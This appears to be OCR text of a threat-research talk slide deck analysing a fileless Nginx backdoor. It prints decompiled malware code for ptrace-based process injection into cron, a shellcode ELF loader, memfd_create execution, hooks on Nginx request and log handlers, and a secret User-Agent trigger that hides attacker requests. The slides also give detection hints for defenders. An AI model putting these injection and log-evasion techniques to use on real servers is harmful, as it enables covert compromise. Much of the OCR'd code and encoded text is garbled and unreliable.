Track Down Stealth Fileless
Injection-based Nginx
Backdoor in the Attack

Peter Syu, Jr-Wei Huang

)

(g‘;« —AMTS

Persistent Cyber Threat Hunters



Speaker's Bio

Peter Syu

Security Researcher
@ TeamT5

His research mainly focuses on

incident response and malware analysis.

https://t.me/learningnets

——
E TEAMTS

Jr-Wei Huang

Product Developer
@ TeamT5

His research interests are in the area
of system security and threat hunting.



} AGENDA B TEAMTS

Overview of the Attack
Malware Analysis

Other Nginx-based Backdoor
Detection

Conclusions

https://t.me/learningnets



——
S TEAMTS

Overview of the Attack

Malware Analysis

Other Nginx-based Backdoor

Detection

Conclusions

https://t.me/learningnets



(N
|~/
X
>

5
)
Va

EAMTS

The story starts from... 3

+ We found a suspicious string in a server’s debug log, and we decided to
follow up

I, [2022-04-01T16:25:04.408529 #3806 ] Parameters: {"index"=>"aa "echo CmVjaG8
gL 1RkN1dGbOFBQVRtMXISROFNQWhBU11BQUFCMEWrV200bGYvVk81ZEFCYOwzQVNBVURIbTdoMT 1HL 1B5eXpQczdQZzMAT 3IXZXQxcDB4dFAIM1Z1c3Q1YWRGY3Zx [ EE(:?]()
C2N3TXNKYnVYQ@OpYeDhGU11LVUVIVFRVUFFGTXFWUGIZeUVrTytiMXZjU3FEULhRWWAFTjB6Zk1IMEZKWMLnTWNhSi9MQ1hiRWswWX1WL 3Z1RHFGSXVtQTV3MT1Ge
WswAEFESTVoZHZWWVNzanFtcGhFSz1FcXY2Y2EXMUICN1ZDcGp5T1FWeVpWTE@5ZkZYaTRSRGABY@1xaVRNQ3Z0b2E3Ty95 TGRXUWX@UHNrK@s5cUx@SnJhZTNyQV (: \/ . (523 L.].F(I(
BNaHZ jcmtaR3hVamRIenA@R2IxMmdMMNNxZ1FoUkgyUkg5SUE10Qk1lpUG14d3Z@M2I TeEhkbW13QkpFdV1XM1JabowaWjBKN1oyQoU3bmpFOE1vcENOS21LSWImVIR m :J d £§
4cUhCUBPPSU1ZdE83bmUVN11QS3Y4ZF1pblVBWTIRNktzNEVMULVBS 3k z LORLRUNWYVowY®5qaWVeUmREOUS 1UCtQNTNhdmlybkV2SzITU1BOeUNIaVk3YUNFdjVZ
R1pyTUl6NzdFYT11bFBrbUZKR2xzenBzalFjZzZNTm9zUjZWWmt1bnZNU3VFODgxVGZ3ZUhPYkO4Y30vZ0I1YzdWbEQzSWxhWVdRWH1gS jVyWHUVRONZV1ZHAWREM N l d G b@ F BQV Rt
1djWV1keG9tRUZ2TmOqV2p4dn1DNUXBNO11QOFOM3YVvY@IvZ3IrSl1VeUx2dmlzRFEvSmxPZzNwRzhNSFqbTUWQThNNWQYWGSWOUhxS] E3aG1HV2tPMkVHbF JCal
dVT@14cWZGRNBTSEOHCDNZZEp3cDMWeVM2TUQ2ajhiVW6R2545k11K3kyUFNWQURDMnpLUVh1ZZNBVUZUTnZqK2V60XU4akMxak FEVME zdwpuek5kZm54NzZOOWN MXJSROF nQWh B
vSTM1dFJVaHJqcHZ2bjk5QmQvc23qeTIpz11IbVNyeG1LZ1RXRDZSZUxyMH1PeXIWZVh3NVR jNULRQk syb1EzcSOVRU9YSWhNCV1 TeVITSzk4VUFSRSOqWFQVOFR4
ME9VQ1F sYOF3N2FmaFRQNy8wbXV1amUwa2pYem5CSGtKOD1EQkFCS@56T20wZ jNVbTZKaUVhZnI1RVUGSTZHW] FOeEY1aWtLM25uZVIPNUSTd101bXk2QXIFVedeY U l l BQU F CM EW r
Vk2QVpCaF1EdExnS1hCc@IWSOR1ZGhWck1uSGRGYWsOCE50d2F2Qk91Y257§S2XDZW1IZjQ2M102UIN4ASkZPSm4zVWRBaXhxVmUyakhkLy82NUxnTWpsK29BQWS5mdn
BNV2JQVkxYb3E4dGsxWkhMdGZWc11zZEQ2WmwwTmxIVytqR1dLelFjcmhaV2ZSeGxKc3ZPZFNRd1pDUkd6Znpul 203bopmc FV2WGNXVHNBeHA2Wm1 pUVpEcWUYRG9 \/22()€5t)(5\(\/\/l<531L
nNDFPM@ZoRD1uaF IriWjIvOFgebmtIbzBuVkdna3NWeUtdcldGRS80Q0crcEZ2RF1XLOEWUUNCNXVDU2x6bGU2T1kwK1B6SUkySUJsd1USeHRIaXNWMTk1VERXRkh1
NDhKNHY1aXpSSzVKNU10Z jNmcXBGQTZPMCtnWk FSNUNSSHAWTHEXZORFanBJcEc3N1VqOD1SK1kzQ@Vsa29BQmlocUxjZDYzSVNxVUdFaHZVSeNrdGtuYkgackNFIW — Z E F CY@ VN B
nJhT@IWdmZPNDBOZkFaT2VLN2JIYMGVEQLVsVWRaUGp4RO5QMINtM2x4Mnk5RMZ1SVIVUUdRM3pSK2IyWFVWQINtYONZUEIpS1hydFM1c@dZR3ByYnVTb3RASTAXYzZ VV:Z(Q
QXN2XXMXcxaWVmM2UxMy94RkhvTjQ5NzF6VEL@eXpGeXQvZmpyMEt sN2d5cUpMU2gzWitOcVdMY21nc2XETFNtckVFS1hMb1QrQkNIT2NSWmt6Q3Y4L2tMUkQyVk4
3WHk1WGZ3a1B3VU1SeUOxMzhsVE4INFc2c2FGalhtbTE3dC9zeG52VUNYVGIqcUNLROdydkovUjM4cWdqVTZBVk1iYkFyR1FDQUZIYTFWTUQ4dUlxalZL TEZIdWQv VU R J de OMT ]. H
aUloeFNYVk1jWGOWWEpSZ11iRHIHZm8yUzVKR21pTOpVdmpveGM1lbmxyKO1lsQmNAbDRuQmFXZkp3cXhJY1B4MNY1VjR2bzZvTGXMRGXXRTZwdO1tZWpPVINtTmc5M
WdwY1ZUay9mbHR50U92b3duNExielFIbGISLORVWKhzSUx3aT JiTk9udmhxczU2bHFQYyY91NVFMSWMOUMARTKFhMDIxXL 2xZ Ty tDeGtHMMY ZVW9§ VWZQMn 1GWGIGL 2 L_]_E;E;EE)(F)CQ(:ZZ(j(g
XFM2tnQW1ZNk1rZXpMVU1LbWOFWGUremdGVXpYUWpIRGI5a1d3WTIXZXBhRZNOAWVSS2tKOGZXdHNtMTE5VEt4c2pvYnZWdmh3NOZ YWOvOVI sWUtUbUtXUHNrZEd
MdDZra2FEU3h4N1h2UGQwYUNGMUxjaUErNndBTD1aa313SkovUEF6MEYzL2xRbHR1cy8xbHNvYk1CcVheelIyc1VTcjcwck9aVGl3emRkKOt2MUYyemZyYk1pZDcl zzzzpqzl'r
ck3I3WXJodGYvakNMcXVVc2RERV1 jenRENUZQSUNIWGZzc XEXYXFna@txeF1DTzZVT2p3RmIvV2IwTjNSK1hGR25YVFIEZOVxXUlowekdgMHdQTDh4YkRab3JEWD14M
093Qk91KzhIVG1jd3peNFFITnpZRStrdmdIQeQ2Y1ROYVVDY1AIWEISb 1VimxSaUcxZUhGbeI1bXI10EVXWGdKd2xUZmlp TkVuQWtiU3R2WVNxd1RCUMpRR2E4dn | t)EﬂESEE(Sll
pSQ1VnWDBaUHc zZUHMvaGd2KeM5emNDdDNGbHhodUZPVmdnV3RHbW8 xMk F6dUZYMkQrOUpUR3QVL 25Z TDIgMGOXcVovSmFpMT1kMAFNU2REATRIQOZQVkdXUGFqdul D 0ocC
URZRYKytBdkp5Q05BV2w4dHF vZDVRTXRWNU8WS1ImczIxbVd3TmOPR1dDak9ZU1p5Y113ZVNIQe9SQ1FwdWIVWVFKNW84ZUVEMUZDQ1RyNKN1UVNaRHhOV1h2U1Rt (j t) r1
U214UEEVNOVRUB6S2VXUU9tOHNAZ ExKeW1wWXdWZVU2Ve5YM2RTMjRsUL1LY1RVNTB6bCt3bEZ1RFR1ODF 3¢ jBaWUwxc@IwbHFMak9LdXhIYk@zd1hVMESncHI M = | as
HRXe TNOSDRFQNnINZnRuNINtNFErZotTaUswNHB3NOgwRn1WMU1kemhxNDUGWCOGMk 1k SUE raGFOcUxoaz IBMkZ6NXVyYmQ4 cnF icUSwSUx1U2hKQXJzMVd3aTViuT

https://t.me/learningnets
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Pwn Kit wvold _ noreturn gconv_init()

CVE-2021-4034

----------------->

0l info filenamej; f/ [rsp+eh] [rbp-38h] BYREF
unsigned _ inte4 vl; // [rsp+28h] [rbp-18h]

vl = _ readfsqword(@x28u);
setuid(@);

seteuid(@);

setgid(a);

setegid(@);

remove( "mod.so”);

12/ remowve("lol/gconv-modules™);

13 remove(1ol™};
OOOOOOOO'hOt.bak 14 | remove("GCONV_PATH=./lol");
15 remove( "GCONV_PATH=."};
16 dladdr(sub_1248, &filename};
17 remove(filename.dli_fname};
18 chown("8cf39813-hot.bak™, B, @};
19 chmod("8cf39813-hot.bak™, B84755u};
28 chown("el78bf3@-hot.bak™, B, @};

‘ - ﬁ Log erased tool 22 :Zzi?é;fl?ehﬂa-hot.hak", 84755u);
>

=
[T Uo T T I I I N WY N S
=

=
=

1| inte4 _ fastcall main(int al, char **a2, char **a3)

2
3 unsigned int v3; // eri2

4 unsigned int *ptr; // [rsp+@h] [rbp-18h]
5

6

7

remove(*a2);
daemon(@, @);

f92b4c07.xz 8cf39813-hot.bak e )

11 vi =1;
12 puts(“crond not found");
3 1
14 else
s | {
16 _ printf_chk(1LL, "crond pid = %d\n", *ptr);
. o 17 if ( (unsigned _ int8)sub_1B20(*ptr) )
18 {
cron 'nJeCtor 19 _ printf_chk(1LL, "process %d is already injected\n", *ptr);
20 kill(*ptr, 23);
21 sleep(@x14u);
22 }

23 v3 = inject_2010(*ptr, (__int64)&payload_5620, (_ int64)&unk_133C0);

-----------------> ba i'F(\-’B}

25 {
27 ;laﬁz(}inject failed");
| el170bf30-hot.bak s e 6
https://t.me/learningnets 0 utsCringect ok);

32 }
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Overview X

\

e170bf30-hot.bak
2.
cron injector Inject NginxSpy to
Nginx master D\
A Ni
ginx master process
- L&
1. Inject Nginx injector to cron
cron process
1\

: ®
Inject NginxStealth to
Nginx worker

Nginx worker process

S ps -C nginx -o uid,pid,ppid,cmd
PPID CMD
1 nginx: master process fusrfsbin/nginx -g daemon on; master_ process on; 7

4195 nginx: worker process
4195 nginx: worker process

https://t.me/learningnets



Nginx Overview

« Open Source Software

+ HTTP server for various purpose
« Static content delivery
+ Reverse proxy
+ Load balancer
+ Cache server
o etc-

« Nginx has one master process and
one or more worker processes

https://t.me/learningnets
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Load configuration
Master Launch workers
1 I Non-stop upgrade

Y

HTTP
[ Web server
—— I z
———— | == | Application server |
memcache

—=—= | Memcached

Multiplexing
via kevent/
epoll/select

sendfile, AlO,
mmap etc.
proxy
cache

ook | e

source: http://www.aosabook.org/en/nginx.html#fig.nginx.arch

o Event-driven
1 Asynchronous
o Non-blocking



Nginx is module-oriented

+ Nginx modules come in different forms:
» core modules
» event modules
« phase handlers
« filters
» Upstreams
« load balancers

+ Nginx added support for dynamic
modules in version 1.9.11

https://t.me/learningnets

Nginx

e

e

EAMTS

http

nginx core

N\

mail

event module

phase handler
output filter
upstream
load balancer

extend module

source : https://zq99299.github.io/note-architect/ztc/06/08.html
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In-Depth Analysis of Malware & TeAmTS

<

« Fileless injection technique

+ NginxStealth
« Filtering specific connection
» Evading logging mechanism

+ NginxSpy
+ Backdoor communication
+ Backdoor functionality

11
https://t.me/learningnets
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Overview of process injection ¢

Linux reflective code injection
« Allows an attacker to inject a library into a victim from memory

« Reflective code injection is not as commonly used in Linux

» Syscall: memfd_create

memfd = syscall(SYS_memfd_create, "", MFD_CLOEXEC);
write(memfd,elf_buf,file_size);
sprintf(memFilePath,"/proc/self/fd/%d" ,memfd);
execve(memFilePath, NULL,NULL);

Zombie Ant Farm: Practical Tips for Playing Hide and Seek with Linux EDRs
Blackhat-USA 2019 13

https://t.me/learningnets



Detection - memfd_create

EAMTS

+ Examining the fd under proc can identify the presence of memfd usage

user@Qubuntu:~$ sudo L1s
total 0

https://t.me/learningnets

-1 /proc/21941/fd

64 Dec
64 Dec
64 Dec
64 Dec

20 21:51 O
20 21:51 1
20 21:51 2
20 21:51 3

/dev/pts/7
/dev/pts/7
/dev/pts/7
‘/memfd: (deleted)

14



Process injector in this attack & TeamTs

. . .. . . Injector
+ A unique approach of reflective code injection on Linux

+ Based on ptrace to modify memory text
« Utilize the concept of ELF application loader
+ Support x64 process

.data

shellcode

backdoor

15
https://t.me/learningnets



Process injector in this attack &

«+ Inthe beginning, injector copies the mmap/munmap function into

victim process

text

.data

shellcode

backdoor

https://t. me/l¢AjeCiers

{

¥

inte4  fastcall sub 1D098(unsigned  int6d
__inte4 result; S/ rax
result = sys mmap(@LL, len, a2, @x22ull, 4

__debugbreak();

return result;

text

mmap func

cron

EAMTS

16



Process injector in this attack

Hod

EAMTS

» Afterwards, the attacker has the ability to open new segments with any

desired permissions.

reg_data.rdi = lens;
reg_data.rsi = mem_protection;
reg_data.rip = mmap_addr + 4;
if ( ptrace(PTRACE_SETREGS, pid, @LL, &reg data) == -1
|| ptrace{PTRACE CONT, malicious cbj-»pid, @LL, @LL) == -1
|| wait(&stat loc) == -1
| | HIBYTE(stat loc) != 5
|| ptrace(PTRACE _GETREGS, malicious obj-»pid, @LL, &reg data) == -1 )
1
return -1LL;
¥
else
1
return reg_data.rax;
¥

text

mmap func

https://t.me/learningnets

cron

17
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Process injector in this attack @& TeamTs

+ Move shellcode and backdoor into cron process

.data

.data

text
mmap func

shellcode 1R e -

backdoor

. 18
https://t.me/ldmm@@rs cron



Process injector in this attack &
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» The injector calls the shellcode as a function through SETREGISTER in

addr_tmp = (target libc base + dlopen _mode symbol - addr tmp);// get dlopen address in target process
if ( ptrace(PTRACE_GETREGS, malicious file obj.pid, OLL, &reg data) != -1 )
1

v34 = mm_loadh ps(& malicicus file cbj.injected _elf addr);
feg_da:a.Fip = malicicus file obj.shellcode addr;// run shellcode
*&reg data.rcx = v34;// second payload(elf) addr

*&reg data.rsi = mm_loadh_ps(&addr tmp);// dlopen addr

if { ptrace(PTRACE_SETREGS, malicicus file cbj.pid, OLL, &reg data) != -1// run shellcode
&8 ptrace(PTRACE CONT, malicicus file obj.pid, @LL, @LL) != -1
&8 wait(&haystack) != -1

&8 BYTELl(haystack) == 5 )

text

mmap func

.data

void * shellcode (
dlopen_mode_func,
libc_dlsym_func,
backdoor_addr,
backdoor_length

H..}

https://t.me/learningnets

1T

cron

EAMTS

19



Process injector in this attack & TeamTs

= - Shellcode == ELF loader

1 1. preload API function
map LD_LOAD segments
Dynamic link library
Address relocate

Call init function

SEEESE

cron 20
https://t.me/learningnets



ELF Loader & TEAMTS

» The shellcode loads the data into the segments by reading the
structures of the backdoor ELF and loads the required dependencies.

text

.data

=)

Dependence

cron cron cron 21
https://t.me/learningnets
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ELF Loader
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« Since the backdoor library’s image will exist in an arbitrary address,
loader should repair the code that depends on the address.

.data

Dependence

““‘\ ““‘\,

cron
https://t.me/learningnets

Relocation section

Offset
000000005de8
000000005df0
000000005df8
000000006180
000000005Te0

Relocation section

Offset
000000006018
000000006020

000000006028
000000006030
000000006038

Info Type Sym. Value
000000000008 R_X86_64_RELATIVE
000000000008 R_X86_64_RELATIVE
000000000008 R_X86_64_RELATIVE
000000000008 R_X86_64_RELATIVE

.rela.dyn' at offset 0xb88 contains 8 entries:

Sym. Name + Addend
2720
25c0
26e0
6180

000600000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + @

Info Type Sym. Value
002f00000007 R_X86_64_JUMP_SLO 0000000000002910
000100000007 R_X86_64_JUMP_SLO 0000000000000000
000200000007 R_X86_64_JUMP_SLO 0000000000000000
000300000007 R_X86_64_JUMP_SLO 0000000000000000
000400000007 R_X86_64_JUMP_SLO 0000000000000000

.rela.plt' at offset @xc48 contains 44 entries:

Sym. Name + Addend
ns_process_get_exe + 0
free@GLIBC_2.2.5 + 0
pthread_create@GLIBC_2.2.5 + 0
pthread_detach@GLIBC_2.2.5 + 0
__errno_location@GLIBC 2.2.5 + 0




ELF Loader
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» The shellcode reads the init array and executes the recorded functions

from within it.

if { section_header num )

1
iter = @LL;
do
1
sec_hdr = (shellcode struct-»section_header table addr + (iter << 6));
if { sec_hdr-»sh_type == @xE ) f/f sh_type = SHT_INIT_ARRAY
1
sh_entsize = sec_hdr-»sh_entsize;
vBl = sec_hdr-»sh_size [/ sh _entsize;
if { sec_hdr-»sh_size »= sh_entsize )
1
_iter = @LL;
init_array = shellcode struct-»map result + sec_hdr->sh_addr;
do
(*{init_array + 8 * _iter++)})}()};// run init array function
while { w6l > iter ); .
vS7 = *(shellcode struct->payload buf2 + Ex3£};|
¥
} S

++iter;

https://t. me/learningnets Shellcode

¥

T
¥

T
¥

+ ELF Initialization Function Table

Segment type: Pure data
Segment permissions: Read/Write

LOAD segment mempage publ
assume cs:LOAD
;org SDESh

off SDES dq offset sub 2728

dq offset start

f

Backdoor

23




Detection - ELF Loader

we TEAMTS

+ The maps file doesn’t show any connections between the running process
and the backdoor.

« In such a situation, blue team could focus on pinpoint the consistency

between the native ELF and the loaded module.

root@3a728232adfc:
00400000-00401000
00600000-00601000
00601000-00602000
00a9d000-00abed00d

~/volume/jsac# cat /proc/66587/maps
r-xp 00000000 00:72 18492242

r-—-p 00000000 00:72 18492242

rw—p 00001000 00:72 18492242

rw—-p 00000000 00:00 0

7fd4ea3e2000-7fd4ea3e3000 r—-xp 00000000 00:00 0
7fd4ea3e3000-7fd4ea5e2000 ———p 00000000 00:00 0
7fd4ea5e2000-7fd4ea5e4000 rw-p 00000000 00:00 0
/td4eabed4000-/fd4ea/cb000d r—xp 00000000 fe:01 2104153
7fd4ea7cb000-7fd4ea9ch000 ———p 001e7000 fe:01 2104153
7fd4ea9ch000-7fd4ea9cf000 r-—-p 001e7000 fe:01 2104153
7fd4ea9cf000-7fd4ea9d1000 rw-p 001eb000 fe:01 2104153

https://t.me/learningnets

/root/volume/jsac/semi_injector/run
/root/volume/jsac/semi_injector/run
/root/volume/jsac/semi_injector/run
[heap]

/1lib/x86_64-1inux—gnu/libc-2.27.
/1lib/x86_64-1inux—-gnu/libc-2.27.
/1ib/x86_64-1inux—-gnu/libc-2.27.
/1ib/x86_64-1inux—-gnu/libc-2.27.

24
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Some Nginx structures &S TEAMTS
» Ngx_cycle: ngx_cycle_t
+ An event cycle object
¢ ngx_http_mOdule : ngX_http_mOdUIG_t ﬁ?tl;rsf?/:github.com/nginx/nginx/blob/master/src/http/ngx_http_config.h
« Defines the module context of an HTTP fdefine |
ngx_http cycle get module main_conf
module. (cycle, module) \
. (cycle->
2 ngx_http_COI’e_mOdUIG . ngX_mOdUIe_t conf_ctx[ngx_http_module.index] ? \
» Arequired structure used to define some ((nexSniipReon eOEEiclesy
basic module hOOkS conf_ctx[ngx_http _module.index])\

->main_conf[module.ctx_index]: \
NULL)

vl6 = _ readfsqword(@x28u);
ve = dlopen(eLL, 1);
dlsym(ve, "ngx_http_module™);
v2 = vl;

dlsym(ve, "ngx_http_core_module™);

v4d = v3;

dlsym(ve, "ngx_cycle");

ngx_http_core _main_conf = (ngx_http_core_main_conf_t *)*((_QWORD *)*(*v5->conf_ctx)[v2->index] + v4->ctx_index);
handlers = ngx_http core main_conf->phase_engine.handlers; 26

nttpss/t-mefearrimghets== OLL;




cycle-=conf_ctx (void ***Q

ngx_core_module

ngx_errlog_maodule

ngx_events_module

ngx_http_module

ngx_max; module

https://t.me/learr

NGX_MAIN_CONF

NGX_CORE_MODULE

ngx_core_conf_t

|

-

NGX_EVENT_CONF
NGX_EVENT_MODULE

void * ngx_event_cor ule void * | pNULL nax evént i
void * >NULL ngx oll_module void * ngx_epoll_conf t
/ vold
wvoid #3%
ngx_array_push
NGX_HTTP_MODULE NGX_HTTP_MAIN_CONF
http {}
.servers
“conf void **
void *** ngx_http_core_module void * »1 ngx_http_core_main_conf_t
srv_conf wvoid **
x_http_log_module wvoid *
loc_conf void #*
ngx_httpypstream_module void * P ngx_nttp_upstream_main_conf t
ngx_http_conf_ctx_t nyx_http_staticwgodule void *
ngx_http_core\module void * P ngx_http_core_srv_conf t
ngx_http_log_modyle void *
ngx_http_upstream_Kpodule) void * N ULL B
merge
ngx_http_static_modul wvoid *
ngx_http_core_module void * »| ngx http core loc_conf t
ngx_http_log_module void *
ngx_http_upstream_module wvoid * _»NULL
ngx_http_static_module wvoid * merge
ingnets y

P
O\
(G

EAMTS

F;aefine N

ngx_http cycle get module main_conf
(cycle, module) \

(cycle->

conf_ctx[ngx_http module.index] ? \
((ngx_http_conf _ctx t *)cycle->
conf_ctx[ngx_http module.index])\
->main_conf[module.ctx_index]: \

NULL)

27
Source: https://www.codedump.info/post/20190103-nginx-config-parse/



Hook phase_engine’s handler &

+ Make sure checkeris not 0

+ Replace handler with hooked function

29  v8 = handlers->checker == @LL;
2@ gword_40Ae = (__inté4)handlers;
31 if ( v )

27 ngx_http_core_main_conf = *((_QWORD =*)*(*v5->conf_ctx)[v2->index] + v4->ctx_index);
28| handlers = *(ngx_http_phase_handler_t **)(ngx_http_core_main_conf + 48);

320 {

33 handler = (__inté4 (__fastcall *)(_QWORD))handlers->handler;

34 vE = *(_QWORD *)(ngx_http_core_main_conf + 648) == OLL;// ngx_http_core_main_conf->phases[18].handlers.nelts
35 handlers->handler = sub_1398;

36 old=hand1er=4eA8 = handler;

struct ngx_http core _main _conf t N
{

ngx_array_t servers;
ngx_http phase _engine t phase _engine;

ngx_http phase_ t phases[11];

hitplst//t me/leamingnets.

typedef struct {

ngx_http phase_handler_t *handlers;
ngx_uint_t server_rewrite_ index;
ngx_uint_t location rewrite_ index;
} ngx_http phase engine_ t;

struct ngx_http phase_handler_s {
ngx_http phase_handler pt checker;
ngx_http _handler pt handler;
ngx_uint_t next;

};

EAMTS

28



Nginx phases & TEAMTS

+ Each HTTP request passes through a NGX_HTTP_POST_READ_PHASE
sequence of phases NGX_HTTP_SERVER_REWRITE_PHASE

+ The same phase has the same checker
function, and the handler stores the module
processing function

« Nginx will not use the handler directly, but
implement a specific checker function for e e e
each phase, and call the handlerin the NGX_HTTP_ACCESS_PHASE
checker

+ Map the handler in phases to the
phase_engine

s Ngx_http_init_phase_handlers

NGX_HTTP_REWRITE_PHASE

NGX_HTTP_CONTENT_PHASE

NGX_HTTP_LOG_PHASE

29
https://t.me/learningnets
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Request Flow & TEAMTS

N A7
®
YA

S\

Host: localhost
Accept-Encoding: gzip,encoding

v
HTTP
Request Ngx_http_process_request_line

ngx_http_init_request

1POST /index.php HTTP/1.1

ngx_http_process_request
v
ngx_http_handler
ngx_http_core_run_phases

Bodly filter

ngx_http_read_request_header

ngx_http_parse_header_line

Ngx_http_process_request_line

Parse header name and find the
corresponding handlerin
ngx_http_headers_in

ngx_http_read_request_header

Call the handler to process the
header

ngx_http_write_filter

ngx_http_parse_request_line

30
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Hook Logging Mechanism

+ Make sure NGX_HTTP_LOG_PHASE.handler.nelts is not 0
» Replace elts with hooked function
+ Saved the old elts

{

¥

v& = *(_QWORD *)(ngx_http_core_main_conf + 648) == OLL;// ngx_http_core_main_conf->phases[1@8].handlers.nelts
handlers->handler = sub_1398;

qword_40A8 = handler;

if ( lve)

elts = *(_QWORD *)(ngx_http_core_main_conf + 632);// ngx_http_core_main_conf->phases[1@].handlers.elts
old_handler = *(u_char **)elts;

old_handler_4@Be = elts;

*(_QWORD *)elts = sub_15De;

old_handler_46B8 = (__inté4 (_ fastcall *)(_QWORD))old handler;

struct ngx_http core_main_conf t N

{
ngx_array_t servers; struct ngx_h’ctp_phase_tgj
ngx_http phase _engine t phase_engine; { “ﬁ::
ngx_array_t handlers;
}s

ngx_http phase t phases[11];
tips://t.me/learningnets
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8 TEAMTS

struct ngx_array_t
{
void *elts;
ngx_uint_t nelts;
size t size;
ngx_uint_t nalloc;
ngx_pool t *pool;

i 3




Nginx Loggin

» Ngx_http_log_request

3714 static void

3715 ngx_http_log request(ngx_http request_t *r)

*log_handler;

3721 /’E&cf = ngx_http_get module main_conf(r, ngx_http_core_module); 4‘\\

cmcf—>phases[_] .handlers.elts;

3724 n = cmcf->phases[NGX _HTTP_LOG_PHASE].handlers.nelts;

3716 {

3717 ngx_uint_t

3718 ngx_http handler_pt

3719 ngx_http core main_conf_t
3720

3722

3723 log handler =

3725

3726 for (i = @; 1 < n; i++) {
3727 log _handler[i](r);
3728 \\l>

3729}

3730

https://t.me/learningnets

- cmcf 0x55555563f270 ngx Attp core main conf t

+ servers {...
+ phase_engine {...} ngx
+ headers_in_hash {...}
+ variables hash {...}
+ variables {...} ngx ar

nax
X

+ prefix_variables {...} ngx array t
ncaptures @ ngx uint t
server_names_hash max size 512 ngx

server_names_hash_bucket _size 64 nt_t
variables hash _max_size 10824 ng»
variables hash bucket size &4 ;
+ variables keys 0x0 ngx h
+ ports 0x555555641598 n
- phases [11] ngx i
- handlers {...} nox a
elts 0x55555565cdb0 void *
nelts 0 ng

8 {...} ngx htiy e t
- handlers {...} ay t
elts 0x55555565e008 void *
nelts 1 ngx wint t
size B s
nalloc 1 ngx wint t
+ pool @x55555563cc60® ngx pool t *

[ B S S T S S S

[ =00 = T (R TS, B =S W R S I )
e e e W e i
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Filtering Specific Connection & TEAMTS

« Filter request with User-Agent :
360 Safe Browser 2.0

« If not, pass the request to original
handler

GET / HTTP/1.0
User-Agent: 360 Safe Browser 2.0

https://t.me/learningnets

31 v29 = __readfsqword(©x28u);

32 if ( !'r )

33 return old_handler_40A8(r);
34 user_agent = r->headers_in.user_agent;
35 if ( luser_agent )

36 return old_handler_40A8(r);
37 data = user_agent->value.data;
38| if ( !data )

39 return old_handler_40A8(r);
40| v4 = data + 1;

41| v5 = *data;

42 if ( 'vs )

43 return old_handler_40A8(r);
44 len = user_agent->value.len;

45  while ( 1)

46 {

47 if ( vs == '3'" )

48 {

49 v7 = 26LL;

50 if ( len <= ex14 )

51 v7 = len;

52 if ( !memcmp(v4, "6@ Safe Browser 2.8", v7) )// 360 Safe Browser 2.9
53 break;

54 }

55 v5 = Fyd+4+;

56 if ( lvs )

57 return old_handler_40A8(r);
58| }

33




Pass the fd to NginxSpy

» Set the log_level to NGX_LOG_STDERR

+ Connect to /var/run/nginx.sock

« Send the original connection’s fd to

NginxSpy

https://t.me/learningnets

EAMTS

connection = r->connection;

51128 = _mm_load_sil28("/var/run/nginx.s");
fd = connection->fd;
connection->log->log_level = OLL;

// /var/run/nginx.sock

// NGX_LOG_STDERR

TROOOT 2] = Sil1Z%,

*addr = 1;

v2l = 'kco';

v22 = @LL;

v27 = @LL;

V28 = @;

vZ23 = @LL;

v24 = @LL;

v25 = @LL;

v26 = @LL;

v1ll = socket(1, 2, ©);

v1i2 = vi1i;

if (vil = -1)

{
if ( lconnect(vil, addr, ©x6Eu) )
{

vis[e] = &vi4d;
message.msg_iov = v15;
message.msg_control = vi7;
vid = @;

vi15[1] = 4LL;
*&message.msg_flags = 6LL;
message.msg_iovlen = 1LL;
message.msg_controllen = 24LL;
vi9 = @;

vi7[@] = 2eLL;

v17[1] = ©x100000801LL;
vl8 = fd;
*&message.msg_name = BLL;
sendmsg(vl2, &message, ©);

close(vi2);

34
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Evading Logging Mechanism & TeamTS

« Filter request with User-Agent :
360 Safe Browser 2.0

« If yes, do nothing == no logging

« If not, pass the request to original

logging handler

GET / HTTP/1.0
User-Agent: 360 Safe Browser 2.0

https://t.me/learningnets

if ( lal )
return old_handler_4eB8(z1);
user_agent = azl->headers_in.user_agent;
if ( luser_agent )
return old_handler_4eB8(z1);
data = user_szgent->value.data;
if ( !data )
return old_handler_4eB8(al);
vd = data + 1;
v5 = *data;
if ( !'v5 )
return old_handler_4eB8(z1);
len = user_agent->value.len;
while ( 1)
{
if (v5 == "3" )
{
v7 = 2@eLL;
if ( len <= @x14 )
v7 = len;
if ( !memcmp(v4, "60@ Safe Browser 2.8", v7) )
break;
¥

V5 = Fudt+;

if ( 1vs )
return old_handler_40B8(z1);
}
return OLL; 39




NginxSpy

3 TEAMTS
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Recv the fd

+ Remove old unix domain socket and

bind a new one
o /var/run/nginx.sock

+ Check the message from NginxStealth
» Get the fd from nginx’s connection
«+ Pass the fd to backdoor thread

https://t.me/learningnets

2 TEAMT
AV

| ey
39 vl = socket(1, 2, 0);
49 1:fd = v
a1 if (vl 1= -1)
2 {
43 v2 = vl;
44 if ( !bind(vl, addr, @x6Eu) & !chmod("/var/run/nginx.sock”, @x1Béu) )
a5 {
46 optval = _mm_load si128(&xmmword 60C0);
47 if ( !setsockopt(v2, 1, SO_RCVTIMEOQ, &optval, @x16u) )
ag {
a9 v11[1] = 4LL;
50 v11[@e] = &v8;
51 message.msg_iov = v11;
52 message.msg_control = &vi14;
53 *@message.msg_flags = OLL;
54 message.msg_iovlen = 1LL;
55 message.msg_controllen = 24LL;
56 for ( *&message.msg_name = OLL; !byte AEAQ; v2 = ::fd )
57
58 if ( recvmsg(v2, &uessage, 8) == -1 )
59
60 if ( *__errno_location() != 11 )
61 goto LABEL_27;
62 1
63 else
64 {
65 if ( message.msg_controllen <= @xF // check the msg from NGINXSTEALTH
66 || Imessage.msg_control
67 || *message.msg_control != 20LL
63 || *#(message.msg_control + 2) I=1
69 || *(message.msg_control + 3) I=1)
70
71 LABEL_27:
72 v2 = ::1fd;
73 break;
74
75 fd = #(message.msg_control + 4); // fd from nginx's connection
76 v5 = fentl(fd, F_GETFL);
77 if (s == -1 // some operation on fd
78 || (BYTEL(vS) &= ~8u, fentl(fd, F_SETFL, v5) == -1)
79 || (v6 = fentl(fd, F_GETFD), v6 == -1)
30 || fentl(fd, F_SETFD, v6 | 1u) == -1
81 || (51122 = mm_load si128(&xmmword 66D@), setsockopt(fd, 1, SO RCVTIMEO, &sil282, @x10u})
32 || setsockopt(fd, 1, 21, &sil122, 0xleu) )
83
84 LABEL_28:
85 shutdown(fd, 2);
86 close(fd);
87 }
88 else
29 {
90 V7 = BLL;
91 while ( connection_list_932@[v/] != -1 )
92
93 if (407 == 32)
94 goto LABEL_28;
% ; 37
96 connection_list 9320[v/] = fd;
